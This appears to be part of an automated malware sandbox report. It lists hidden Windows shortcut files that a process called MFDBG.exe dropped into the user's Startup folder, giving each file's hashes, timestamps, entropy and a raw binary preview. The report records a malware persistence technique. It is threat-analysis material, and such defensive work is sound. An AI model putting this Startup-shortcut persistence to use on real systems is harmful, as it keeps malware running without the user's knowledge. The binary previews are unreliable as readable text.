Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{... ...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4ebcc3921db24299b0540b8ebe715200.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938755514152355
Encrypted:	false
SSDEEP:	24:8KtphBfEH8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ip8c0R6rMhpBoUBxdRd1nYyg
MD5:	0F0F8B999519BF95F8369696D3AFCE72
SHA1:	728D04D1CFBBEC3AE977939CA13147F59618E2BF
SHA-256:	720A699A0B6C02F53EB0940A1893164025E0B84C8E3DA6A8777779E8603C404A
SHA-512:	C0E90EBDFEC09359839C5EBECD382F6C548A42FD74775956F44974EFE6E3F6C2094C087FBEA90D1A335E11AA5562E6438E70BBFD0F1FD9FB0F0ED2D340DC1267
Malicious:	false
Preview:	L..................F...."...]W%.{..../..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{..../..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4edd39da451f4f68a9959b3ce9274267.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:49:59 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932010461497013
Encrypted:	false
SSDEEP:	24:8ThBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ns0R6rMhpBoUBxdRd1nYyg
MD5:	770F2ED831C830A02D4D03AAB9DED7C0
SHA1:	6A5200F824EA0900FEB0F4C9726E21B8937FBAD2
SHA-256:	3313D04A93FC04F5B59C2D34BC0CDE4965C7CDC75843E7393E3607E461D8DE4D
SHA-512:	FD8AAE023B7B8B019B2259827B85946D5258CC798569D970C7910EC44F99E687FC16171F9ECF0AF1ABEE276E0D98FBD1C4C76C7F2E78C80FFFC985A068A0141D
Malicious:	false
Preview:	L..................F...."...]W%.{...6<.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4ee36e988051456494d438d6bacfd8d2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939199120728582
Encrypted:	false
SSDEEP:	24:82hBfD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8cI0R6rMhpBoUBxdRd1nYyg
MD5:	4C0D262870FF0F3F7A805CDB5C0FC2AB
SHA1:	01B56CBEB4ACDD97297C756B848A9FB96CC6A880
SHA-256:	568B6DC50874AF4AC31EEBFA08C35FED0F63942BA874C724EE21D7A77F6FFCDA
SHA-512:	23AEB383B2E9626D7A4B2CEE4CF82BD9F77BAAAA0F6FD86964E0AFA57F8401E49865E4262D3FFBC3ED72BC1EDDB22D28D665D094EAD4599FAE7AB238006EEFF8
Malicious:	false
Preview:	L..................F...."...]W%.{.....\|.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4f26dc6847794d82ae0a76f19538f395.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932335288180721
Encrypted:	false
SSDEEP:	24:87hBfX8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8/E0R6rMhpBoUBxdRd1nYyg
MD5:	EE1ADD5B42C75557BEA2B10C0F7FAD02
SHA1:	78AFEFC99523E157C8D2706621C3D45BD4FB59A0
SHA-256:	F4D78E0A3B89D73B0B34A39022D51BC9627B12728289EF6080A21A053C47CD49
SHA-512:	6EF39A03D89BD1AD0E101C7E5E515F0603AC15425E2E2A14B03B3184197BDF22C36A44DDD249441FE82589711137C1384DE120698B954D9A541AEFDBDDDF4144
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4f697576d39d490fbd75530d958afd8e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937463100428169
Encrypted:	false
SSDEEP:	24:8zphBf7T8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zpzg0R6rMhpBoUBxdRd1nYyg
MD5:	F2B314C586D5A95D2B12E284B4193531
SHA1:	6B83FDA57DD4802137E68688C1ACDDFBB56C4D49
SHA-256:	345B07769C2CB4E0D3E22EEDB473667D4B9A51EEAB634511364F1EF1936310F2
SHA-512:	3CB06FCE4567FE5FB31B02C9C49BCD6EE7EDBE0C367A877CC1C4EA71D768F22E1319D6EF58DFBB529AE6EA5B4CA368CF07409DB530B7E389100EF8554622012F
Malicious:	false
Preview:	L..................F...."...]W%.{....\m.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....h.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4f6e2528021d4e8489175c34659b1983.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:40 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9372813226127885
Encrypted:	false
SSDEEP:	24:8T2hBfe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8TcL0R6rMhpBoUBxdRd1nYyg
MD5:	A3EE3F7BCFEF9EB1918AF4C091E53ED5
SHA1:	2B0868867A667651EC29828E5CFFA747BBA37D1E
SHA-256:	7DB2C8CB3A9E5658EFB0C5EDB7B40AE856BBA750DF1587EBBE5BA1D6E833FE88
SHA-512:	DFBE91695B930439C9F75519A3E3037B994A9354F4ECCDBCC2AC51E92925751007AEBD5FC32972258F205B1A8ED299376F91FE58F1B48D6381D9A2D45F0FD970
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...S/..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4f89b8d3e0fa4dd88473a1cedcc53a5a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939221879802557
Encrypted:	false
SSDEEP:	24:8DhBff8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:83M0R6rMhpBoUBxdRd1nYyg
MD5:	207DD4673EFE6B551F8AC347BAFF37D6
SHA1:	2F469335A5E5D42356F562FED32ED721EAEB79DE
SHA-256:	B63ABA70D6ABE2596B90EC3DC15F3A459C8AE8269BBAB660AD776DA1E6AF5041
SHA-512:	AD5E90BD04E0822C7660CA7AD5F7D84B241365BECC6AE09CC19A5BC68D6FC45F61623D336576191BBABD8EF68C6D61636AE98EAF2B9B96D5E52EF08412C74C61
Malicious:	false
Preview:	L..................F...."...]W%.{....Lv.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....Lv.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4f9365bad00b4c87890584e3a5de6c81.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935157405747855
Encrypted:	false
SSDEEP:	24:8CshBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Cev0R6rMhpBoUBxdRd1nYyg
MD5:	86B3FDF6C386C6B66DCB07C7486B51EE
SHA1:	4018DF1B1AFE42740DD993D782D92C9FD6A7FFC9
SHA-256:	1A475AE47966E755A14A8E0A33CBACFC7D8EFAFCBB11E4E4C6B5CD903A8FCF7D
SHA-512:	DD5F6CD7FAF77B3E6A69AB5E1A89C8E5C5274F634799455DFE914CFF2C24310E3483EEA1F832031C2C2892693B62CAA8A33AB0709ADAD688FEBE36EB700837D1
Malicious:	false
Preview:	L..................F...."...]W%.{...U.I.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....E.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_506c20782e804d259dd6ace9e91ee497.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:16 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9349394094607115
Encrypted:	false
SSDEEP:	24:8XhBfNbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Llc0R6rMhpBoUBxdRd1nYyg
MD5:	4ABE4D27DA9DC33F83240CDCEA4BF5A7
SHA1:	051DEB5956796A65127E691E70704B0D32232AB6
SHA-256:	F2C0F589C4779EA0ABA25586544B1E4D1A35D1798A91EC44E3F2782850EF5AF0
SHA-512:	EAB1F4104B8D7643A87928DEDB3549E4E72150004DBA51739742E0B30E2549E130EAD58DC8D5202E9D01AD41D0838C977CB7123C1B7C08692F7027E6C7604468
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_50d9a1e107844b459ffba1a63d426e05.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93967655517228
Encrypted:	false
SSDEEP:	24:8j2hBfG448iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Iu490R6rMhpBoUBxdRd1nYyg
MD5:	4741FD78A0828978ACE389388AD2D7B2
SHA1:	946D465AC065391EBB9FCFB6C966694ABCFED9CA
SHA-256:	E6A41809E850E81FE978802770E8DD15645082F4BF30425A12A9B74304D6E861
SHA-512:	67D9906091E04D247C0466A7CBAB749DB1CBEABCDCC9672122CEC3030ACA420709A64A90A8A949BE45461A3012105C669DDAAA400BA7BF34D7F95164F3C937CD
Malicious:	false
Preview:	L..................F...."...]W%.{...wU..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...7...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_51213300e35f4326bee5e060f43710c1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934813476650443
Encrypted:	false
SSDEEP:	24:8NhBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8tv0R6rMhpBoUBxdRd1nYyg
MD5:	60C1E627D9FFC8FD1CCA13654AD4E45B
SHA1:	5F0807CDEB81F95A527176BB799438D4A7F8BF4A
SHA-256:	D1059796FBE0B97D735B992F76DF0DDCE4478C900BE7C9C83CBF04C1AFAD9F48
SHA-512:	36E59A966D2567C795CA82321B6D3D41350A825E34947249186714C8AE32E3A660D63AA9A18FAC9B879C3F7EB2E38645E8712E0F419CD1608489792C792AD55F
Malicious:	false
Preview:	L..................F...."...]W%.{...c.P.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....E.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_512f3a3cc35b42a993273a712966b520.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939741783296639
Encrypted:	false
SSDEEP:	24:8U8hBfeIl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8UOnC0R6rMhpBoUBxdRd1nYyg
MD5:	15A48C3F0A7736A023F3AFE1500DABE8
SHA1:	98C2A21BF7A432C24665C31C5A02B067E40F53D2
SHA-256:	AA46E9A0E193E13150B2C5DAEBC2356CCB49FC67F796F496F431080270B08EE9
SHA-512:	9C649D8E2E38ABA9A80F8F6CA6FB1F0916DDAEFF5FE50A79A01D88194864A4ECCAECADF7479F39D0ADD41EDD01BC0DCA0C04CBADF9012F2111AEE7CA47D8227E
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_512f97fbfa2542e9b5d6c06d328160e9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943178025173194
Encrypted:	false
SSDEEP:	24:805hBfE8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:80ZJ0R6rMhpBoUBxdRd1nYyg
MD5:	10E513F3168C96B8E01C0A831CDFEE72
SHA1:	6CA07ECB4846308BC18E0307D9CF065BD32F3AD9
SHA-256:	0C9399C8E29DEFE414D0C0E302CC460D8EC6E5B93FC5F6823F1E11873FD19BB4
SHA-512:	31F862CBEA96A61F04B50E0636F507F9A9952E4EA2DC0B3014B58D1C19E8E5655A6129FBDE2AC3568CB99BD85A0D81339F472C9FBCED6D87D22774EA6C480EDA
Malicious:	false
